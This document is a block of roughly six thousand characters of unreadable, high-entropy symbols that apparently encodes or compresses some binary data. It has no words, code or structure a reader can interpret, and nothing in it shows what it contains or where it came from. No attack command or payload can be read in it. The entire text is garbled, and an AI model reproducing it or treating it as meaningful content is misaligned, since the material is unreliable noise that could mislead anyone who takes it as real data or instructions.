z!5l6%G^@H+gj9p?407ts(+BAxoXWPX6mb^pEXi7kzq5%ugwBjC3Ng&x>Ok2zVo|zi ztuuMp&gI&~__z_VDOT%dCeHdzXJqDO2d5#4I|usi6sy9eE$Tt!k0AXO>1_sL);F$GN4Yw2`I$y+ zJ&#Q>?!(~5ic}L(ni;0w;;T{Utq6T!yV*Q5kg&E9_P5(3%5I+f7dQ^n6Zv6@(Ah{@ zI~w6!g|T5VN9~B}fh~R$3(4*WH)hMV^M7#%{^G}WhOY(nV4d9 z@%S*phtrdYK-eJS0<$$D(x7Ph7M_V0p3B_qnaa69&nRRcbg4OqBcV9^*nwZR&1Cz% zfDhA-j3X2RDcl89#aR0keSztiGZ4znoavZ32L;&r!ym(bM97c@IkYw6-#~atr#u-a z(tT2Lg`cZNJTz5kLKH`|^R%M*Aoabbq$zse2iOR$%IT^~@`|t)H`k4lGiO_O@;wE#?@6uH`><{6}WBM7ah= zrm1bvF_8&vPjnJPGaI1_C$-cxGiOGJ^)QMk5QKoL-zmmdG`LU_ivgE(-7pU#hgdge z1a@0W2oJw#OAcq+WuEJjBxR!DdSDf^J|ZhFWr+<#M83qI;&X^ah?lo{uhskEIKRR% ztQ!~{_1h#Hs6Th3%@ZovpN5a3u&keDjgynuCP}TR|B$S3=n@EySsm+%hdxwG(MJX^ zkJGkY;CTWKY16Q*Z+g&!=g{Z!=3V+VT=csb1B>eyDfiB0JmiJFI`$m0;ia!iR#8(Ir9Cjxa`|y&9CkxaRM^oRHTOmo__fcbsG0lAG`!vo zkDM9iVLCJnjyJX%naJtkkW6RUtMsD&1P;m6*^6t5)fN4gjU!l|o5a=DnV|v`Pa`{9 zsfo;6Rqw76l@1Orf+#smAv6~cvGo$hGHFEWP^*ph0lRu@Ee3{75L|zZ@zPgH(-9Ib(Lj2#dDmh7rM@&K`JRWAVEU zAfp|VqlaEBd5sN|#DJSxvG0L*B!@S0Qh@2{86IsNlrXf<_DU-~SqfDK%G%MTw!bxd zP-(WMRWT#He~6Q~t+5-?Ni51!I5zVuGGag~f0@Rin`XlEw?53Q!~YNCB7SMk9!4}l zmn+T?93fg|9jjr&Wrc#P791!yN&Yx5QbJv{aKnI7r^$uM;j|eX=))ZC*Xfh+Q&H;Y z8CEV_F0jy+xkWhVlxx<>b0hZXXSJ^0F>zw6(*eDsELqLGd7Yi&R{OwCIKJ2>QPmnp z=VU6IlW9IU0#Y$$aauJd+aTHQOP~`4p_LZlbIReQX;26V!wQGG8hIk8=Oh|OV?<4- zyHm8CUR&bt$jDB&ja)=z+=t5}nO*h( zpk6wn&wvwv9!!HqA0a2_qm?gWeK-#_lo1t(Z={Z}5|6Rb+{@-MI#P*?OYSP1AD`rz zDuc{$=)<6L@}wNM1-h^X3StwfF%iov6o40|63Uez!Yqwn9VRY}V2<9OcAM7=7wne%-vnpDq_1cZUw{@f=2ct4EG?Z7@$4@>zIfjqUJ67yT$0*W@ z%O<=cLjTmf1y&GdGlELBA~$0Un8SDE-g+G29IpNHB7|rPXwn0@nUS$UtlVP4Fi=@! zKopW(X>)fXqBoX>?&td_&LcdEqNa(-J26=c7Rfm2p*0a@!HHkr`1l~+i18kiIg@HcYreVg2_+zTy zdbv(&s~ORoAV5NXBW7jiylS1KVl*)<#EY4#x)u4ZOgFQgl==(i}!1=ps}8LS|IkEOA;@0@qF3G zYu>(2T?~&ZW~Ln{x?Q2+Ha?lVWP5_1c9B-N%EraRFqK%3_;yjTOSX0zKk#bmM)aO2 zWVyV#2b+)3XOA#<<}(G0-L-OCg;OJ{HRt@Y?OTBrWGr8rNHT+;iX#mFpj! zm>$Hb_~_|A+=hT|XfVa|CFwllUTXb8U9^quSnhgr*%*19a^5d0obT*_3)YIofy2@R zP9Y?`N~D_33vLMv+<3>ejUlc)yp`xmm{jL6Po^`6`O=;{jvG2$sOHdYsY}Lpa|z_U z44oQsHLiT&{Be`#B@7$3#W>q|jZ*`bT$jXq56i(@UIxg?mB@mao{X8!)aB#rp=eD1 zW@{g}_gJ7ILLBr-#9ZApaR3pJ3Rftv0~TkYF;f$h&tK>tJ}sVH!AT3bbBOnrWIP^0 z^3GN4Kwt>Ln(1M2M;H|wp76e)+P7G&Ekq=~F_}vR%T70soEe#kZWH<_71q*r>0c!R zmpGT@l{#E=m25H{;qSKGVRr#rB)_DoBKp~fcuH$?_HY*WV#QvB;vo~@82EEBQh|W} z*qyj*iA5e4M8*d%NL{hhy*Y#gQH6e$nMLtLdi^yTQ~o(lF>%cq%d_B;(MN29%?!87 z`SFp7)6-HbhbyWqvgk!L(Ruw^Z7l@ouS@cd5ndG34(w2dwi^38b$Nur7}seCY5YvY zWbanq96I7+iew9cSVMBJ6v|C~DN4`fv2f$wE6F1-x;hT!M3_9p?i%bHXfhMR8eS8^ z>Evm%#)l4O59>a1j1kp7JK0f=NbfXJYb3xX+m@s`EeYa?sV4h~Kp9PJxF>ji{%ZH>|Gq_)Q1jwW91 zi-gP@-#$jCjFhX@V%$X4aH*u@!nmR%y&|c(R)Ax&Q`7xjxRn%sSS;J_5#?#@y8Lmc z@qXHcC-7bZILoHl6H?i8JhYuScQBQeG+~mVBRH5g`;*I{grs!spQFI9{)rblq{VKB)B1j1=Nmth z#l>*m7sAcHLS+_bzF-BJqZ>VIoTK2na0+y1+cM2CqjCWiZwrf$jeg0+yjMptcy^)- z2Yce|h#D7Dh-47_G9C|KL3o>@xEEF!G_Q}Qk;c!dZZwpKTFvmsNzupxj0eWh)i*Ld zDAyq(95D2LqXP3`3m;WBfh2apnEo!O8m6N(1)ce$Me+ z2BxR68{S&N!;Oqc$U4QPD|cg0Xb6bQM9DrK9+OZJ4U$n99B?2GgiV&ME>^5wsw$1Np zy3WDHj&#&)tR88o>l+?#b<>lyuuX^-A*HU4!|;i9)iDwblQ_t7_>rF&&-0a(yexa5 z!&_!}4KSFHqCnk6+vPnnR1OT9xEHX+MEXvgNXnVLk436lO85lJnSY-rvZmAoaknAN zaGl|t?JSIGNH<-_w0)Z^5LY-b+mzxh?s6Ijc~e#fF$VvoMl$wi!k~fy$UD zPO1iMl8cM$=dyYb%g|YyTkxcDLOFIic0d`k4^5$yrQ{+MoohUZ2z8^bmd1Du)`BbW zrMc8VK2v&u&W3sUcscgJ36uMFC+)18w83wWclYc|^TIJ7_4M0`IMeYCTry0nW}OX; zy_nas>lRGn%lG6?h>cX8pw*N6KE%t0UVf46q@`?wXd^^R;xt$X^czC~M1qfP{Ha{9 z7qcTs)KI_kHOX;Vly8d(roi^zMn8m`FiM5Jx%Fd(XZObiRt;%qa*!{jP0I%(!o z30uOoOuD4Pl9LGigm1J`J~BIXe-xX~aj7M)9pR>DLYukT7F1Ae4TY*9DKSFqPt=pA z=p+W-nZ1?3GHIhrX>`USnLN6py@pfP(OMXNw$WbBPmH3_ejQ-MFIKYPG_g$`LSN3X5#vy))m6&ypj*Is|MLCrD}Skhoea52um zPm33m`bH-Z_LUoFVj1w}FADKF4LRz@*ZL9{L1gqAER;jZ5EG^ar-J%8XzE|Y4k=08 zJBsONYez@)s!{X?q_Io%$9SlpSUJ?wj@JdkIjk2Edk(_I$#wK};jIiUgUR>jy@j?U zKD)y?FM$u~&74fpAuNTshB)b8%QtPag(3b{P8_RgqrdTyoGSUgX@oQVK|Wh0=M9ez z^SkS7CD3&Y?jLV!C%8H1RS>*@%tI>~0UZ`2!EeHt71{O>8hV97-X#`WFOb0Xf{5 z)mW52w!tgJxTz5r1|1DOAA+4cnCYTibIC)}oHR&;a1aj05mHuS_RSL#pu**rCcY1i zsB~gZ#A^}n4aLW0Z&;e~ z#@#WVykdk>EvZ$Ro~HcKXri@t=UN+cN1|;35sRs{$ zCCeQ{3?+(R2vUEX>*v87cRYb`Zmh*MuL@)tbb_m~}(L?!Y3i&(TPMkVvo@6*iRC}$z0wB~yO^po$ z*nzZTd#(!+wYeFKZmWLeMcUYOk{}IEh(-`z6K4|pb-8aD-AAAZhyouOX;%z?cL1wn=fJVstukKXpX+N0{@qEbBMX*t zJJ;z>;}mXO4-rYOI!OMrE!-5TOPVHvyF`BjL-q{6tlPJ3byJ zAx&J1#g{1P4dmetC13f_ut&Bz?!9RqPJ`ttT;l2gcrfd=a``wH3gS-uWiRFNrO-S$ zOMc6{Dd)#d!<`-iQ^)v0GN_FAsYN@E(z7Ma6$}N%U^QR{!`8I;^(Waw#29bf}tbyMtcO_}Y z6TXW{ldF)AeJ~u&4JUl3#5D0p@-lAJ2_Nj-&@fdEQQeEeFp!#ht zGKD^xeGfo9jCjUw7mkOdyx&xADCD_M8#E^tr zH{#<8hwIl-5QZ7eJ)L;5nI8^JP#(TPZm&nGlit>Mu{rc6{ca)lH6cp%$cfG)8GhQy zbV?Ajq^I4#f-P6t^$Uo2+ma>?pIwvdX?`O3n~L}d4fsR*WPvWzU~lX4omkoAx=7dw zM!|DO+4LtAIa*7luIaTojyT?oUG^Zkegn!GVf)tn8N1|=Tr3-NP1)qtII(j6-mTCQ zzt=PAFRBY6x{Ab2EC($Po4!k4s0!FyUHcL9Np;QG(Q&BK7mzqt~Uo+&HI8Tg>Yif(a_U-RN_pOb1tifp2gHDzj^z~ocfIa z{-u-%HnBztzeP?8O*%3s@vTI>dmOPN+R=+g3KCioevJaoUO(00vb!;4N1J>~GJg=4 z)4cQNV;zjJQ{L_TFjKsv#$*ts;Eb)Xbhosn4jKJN@b(>5##YameyJwOc5wVOj}mnC z#b_9&3C+21ma_11xUdU4hh}FIG|zgWLa%1OeH|rTIG68)*C@*xIgwQO@O}^n5?W5- zw0$bEMmqBG8JaIF=YCU$U^!j5ID`GtLN`a=gAg$=Qou^~0&jeK%zV)t6|XrzV|^D# z#?H%e#cb9=+wr+WLFsh^L6Rni00wR!k+-~U?seTFx5(wqjy#rjI8(qloU6tZlmB@J{Vycc?W(J~zN((%6Z^w2eA;A|HPYsNs!Ccl6}cPl31ErjZW38itAMBPj^|$#OV8eLVT`2|u?w5rD`x zS-g;pvC&ee@Mum?xM<+LkI})taX&@LWwiz2{h~fOk>dEx5fE2a!fwJRi?ks?1dAU9p&W?GXAS9qXYQto%E;6X>5Ox zY3uGhfo(|ayEtY%BKo4W)M6cS@GaUrjpJ5+Ve`<)RQzs0aD#BuTyN7n!X*!X*N5Vzmxt#=!p=nSZ zZQ?s=xf5k4BAC8ssiE2|{ z-I%4d$!k-aJL@_(#@C>D)H*ph#s3Bkc3@-tI)!v?GftOF;lJEqfYXUrzx*yb?r3(# zy;WHv@{Kusy;j17bmV0J%TXBW_y=KN^=&@za!&2FdX1I_4MY|!phO}wi66(sF_H%H zR7?F)g)QC;TBzG#lIJ|;o9D4h%HfpIk5|XS1YYyyQ{1`~_&3V%ULJ0SfLZ-m-&Iza z+UPZY4>{kGIe`xlHe;sr4a8rQiSN(USaV3S_u`^R8FGt~8JqN<#NlXR{Nznn|Jkv8 z9?>t{k49b9+N7`}6~~LnJ>V_A9@+&IwKG&bS*j|k;G5WvE32PA?gemR@mqmxjKBer@z zs4H9(MHDfZnCH0YRCv*Njzfbw|3UO0KRliSNTmzoAl?BS-&SN)o34nOaCR`uhI ze(H>jN9RoOi^+*I0u5Y3xbc^e;+i6oHL9pBI%;{(g1VFZ_I*@AOs`NV7+~V<)hqJJ z<|sF1;clLWnXAb70M7pK`ZLheWQE_2@(Ztw*sd1J$E(N(v1huqY4+it1jmk?IM@|C zbMmGsk2jb6m$KegXUzeN6iIHOCUr&mu9T2?1o|}2DHNN>5u%8_4kLWB^?}Y^t9(nF zND^UNAM3zbQcqiZtWnI)U=p^4_uC{CDgPv5XVJv!%+LC$WSyJD3ss5zvj#DIC{erR zw3Dr)*He-z7rBXB45i-B5LY1)?v0{}^lfX|(620^zZl7rqNHmNe`0)^{u|QKbu}SH z)JeDCaPj3c?O}VHkg+>5B8&D6LRAXL8|&jIzQ>W8ldC>TXG#;AaTMbd$%i7K@N%exf#^)i(4$OxHgm